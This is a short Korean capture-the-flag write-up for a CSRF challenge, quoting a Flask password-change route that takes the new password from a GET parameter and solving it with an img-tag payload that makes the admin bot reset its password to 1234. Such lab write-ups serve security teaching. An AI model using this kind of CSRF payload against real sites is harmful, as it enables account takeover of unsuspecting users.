여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
CSRF 취약점을 이용해 플래그를 획득하세요.
문제를 해결하려면 admin 계정의 비밀번호를 변경한 후 admin 계정으로 로그인 해야 한다.
@app.route("/change_password") // 비밀번호 변경
def change_password():
pw = request.args.get("pw", "")
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
users[username] = pw
return 'Done'
csrf-1과 같게 img 태그와 src 속성을 이용해서 admin 계정의 비밀번호를 변경하면 된다.
<img src="http://127.0.0.1:8000/change_password?pw=1234"/>
비밀번호 변경 후 admin 계정으로 로그인해 보면 루트 페이지에 flag가 있는 걸 확인할 수 있다.